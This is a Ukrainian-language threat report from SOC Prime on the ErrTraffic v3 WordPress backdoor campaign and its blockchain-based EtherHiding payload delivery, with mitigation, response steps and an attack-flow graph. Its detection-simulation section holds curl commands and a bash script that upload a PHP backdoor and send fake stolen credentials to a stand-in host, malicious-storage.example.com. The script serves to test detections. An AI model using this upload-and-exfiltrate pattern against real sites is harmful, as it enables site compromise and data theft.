ErrTraffic v3 використовує EtherHiding у кампаніях ClickFix

Ruslan Mikhalov Керівник досліджень загроз у SOC Prime

Стежити

ErrTraffic v3 використовує EtherHiding у кампаніях ClickFix

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Звіт описує нову кампанію з використанням інструменту ErrTraffic v3 для компрометації сайтів WordPress шляхом встановлення му‑плагіну з бекдором. Бекдор впроваджує заплутаний JavaScript, який отримує додаткові корисні навантаження через засіб EtherHiding на основі блокчейну. Фінальна стадія доставляє шкідливий код, специфічний для ОС, включно із зашифрованим корисним навантаженням PowerShell, у браузери жертв. Помилки оперативної безпеки, такі як жорстко закодовані ключі, розкривають інфраструктуру.

Розслідування

Команда LevelBlue SpiderLabs досліджувала му‑плагін бекдор для WordPress, вбудований JavaScript маячок і панель управління ErrTraffic V3. Вони відстежили використання статичних XOR ключів, декодування Base64 і виклики смарт‑контрактів до нод Polygon RPC. Аналіз також виявив жорстко закодований ключ аутентифікації, що використовується для API зв’язку, та картографував хостинг-інфраструктуру кількох провайдерів з куленепробивним захистом.

Пом’якшення

Захисникам слід видалити му‑плагін бекдор, блокувати відомі зловмисні TLD та діапазони IP, моніторити використання жорстко закодованого API ключа та обмежити вихідні з’єднання до кінцевих точок RPC блокчейну. Регулярно перевіряйте встановлення WordPress на наявність несподіваних му‑плагінів та перевіряйте цілісність файлів. Розгорніть веб‑аплікаційні фаєрволи для виявлення маячкових JavaScript патернів.

Відповідь

Після виявлення ізолюйте постраждалий веб-сервер, видаліть файли бекдору та змініть всі облікові дані адміністратора. Блокуйте визначені зловмисні домени та кінцеві точки RPC на мережевому периметрі. Проведіть повний криміналістичний аналіз для виявлення будь-яких завантажених корисних навантажень і моніторте подальшу C2 активність із використанням розкритого токена API.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["Дія – T1659 Ін’єкція контенту Використання сайту WordPress для завантаження зловмисного му‑плагіну (sessionu2011manager.php)"] class step_initial_access action step_persistence["Дія – T1671 Інтеграція хмарних застосунків / T1525 Встановлення внутрішнього образу Бекдор встановлюється як муcту2011використовуваний плагін, що виконується при кожному запиті"] class step_persistence action step_credential_access["Дія – T1056.003 Захоплення вводу Впроваджений JavaScript захоплює облікові дані адміністратора та відправляє їх атакуючим"] class step_credential_access action step_c2["Дія – T1102.003 Односторонній зв’язок веб-служби Маяк відправляє дані відвідувачів через navigator.sendBeacon до доменів атакуючих"] class step_c2 action step_obfuscation["Дія – T1027 Заплутані файли Корисні навантаження кодуються за допомогою Base64 і XOR, вбудовані у вбудовані скрипти"] class step_obfuscation action step_smart_contract["Дія – T1059.009 Хмарний API Скрипт здійснює запити до кінцевих точок RPC Polygon та смарт-контрактів (EtherHiding) для URL-адрес"] class step_smart_contract action step_dead_drop["Дія – T1102.001 Використання блокчейну як заглушки для конфігурації C2"] class step_dead_drop action step_encrypted["Дія – T1573.001 Симетричне шифрування Трафік API шифрується за допомогою AESu2011GCM або RC4 з використанням жорстко закодованого ключа"] class step_encrypted action step_execution["Дія – T1059.001 PowerShell Завантажувач створює тимчасовий каталог, записує виконуваний файл та отримує специфічне для ОС корисне навантаження"] class step_execution action step_priv_esc["Дія – T1546.016 Пакети інсталятора Скрипт PowerShell реєструється як пакет інсталятора для підтримки присутності"] class step_priv_esc action %% Connections step_initial_access –>|веде до| step_persistence step_persistence –>|дозволяє| step_credential_access step_credential_access –>|надає| step_c2 step_c2 –>|використовує| step_obfuscation step_obfuscation –>|сприяє| step_smart_contract step_smart_contract –>|зберігає| step_dead_drop step_dead_drop –>|доставляє| step_encrypted step_encrypted –>|підтримує| step_execution step_execution –>|дозволяє| step_priv_esc "

Потік атаки

Нападницький наратив та команди:
Зловмисник скомпрометував обліковий запис адміністратора WordPress і завантажує зловмисний файл PHP з назвою session-manager.php до веб-кореня. Файл містить секцію HTML, яка на вигляд нешкідлива і закінчується вбудованим <script> блоком, коментар до якого читається як “JavaScript вбудований в кінець секції”. Скрипт здійснює приховану ексфільтрацію даних у хмарне сховище (симуляція через curl POST). Використання navigator.sendBeacon() не відбувається, зберігаючи запит у вікні виявлення правила.
1. Завантаження зловмисного бекдору:
```
curl -u admin:password -F "file=@session-manager.php" 
 "http://target.example.com/wp-admin/async-upload.php"
```
2. Запуск бекдору (генерує телеметрію, що запускає виявлення):
```
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
```

Скрипт регресійного тестування:

#!/usr/bin/env bash
#
# Симуляція завантаження та виклик зловмисного бекдору WordPress
# який містить точну фразу, за якою стежать Sigma правила.
#
set -euo pipefail

TARGET="http://target.example.com"
ADMIN_USER="admin"
ADMIN_PASS="password"

# 1. Створення зловмисного PHP навантаження локально
cat > session-manager.php <<'EOF'
<?php
// JavaScript вбудований в кінець секції
echo "<!DOCTYPE html><html><body>";
echo "<script>/* зловмисний код */</script>";
echo "</body></html>";
// Простий ексфільтраційний штуцер (без sendBeacon)
if ($_GET['cmd'] === 'exfiltrate') {
    $data = base64_encode('stolen_credentials');
    $url = "https://malicious-storage.example.com/upload";
    $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
    $context = stream_context_create($options);
    file_get_contents($url, false, $context);
}
?>
EOF

# 2. Завантаження навантаження через кінцеву точку асинхронного завантаження WordPress
curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
     "${TARGET}/wp-admin/async-upload.php" >/dev/null

echo "[+] Зловмисний session-manager.php завантажено"

# 3. Виклик бекдору для генерування трафіка, що видно для виявлення
curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null

echo "[+] Викликано бекдор – телеметрія виявлення тепер має бути присутня"

# 4. Необов'язково: пауза для засвоєння SIEM
sleep 5

Команди очищення:

# Видалення зловмисного файлу з сервера (вимагає адміністратора SSH доступу)
ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
echo "[+] Очищення завершено – бекдор видалено"

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно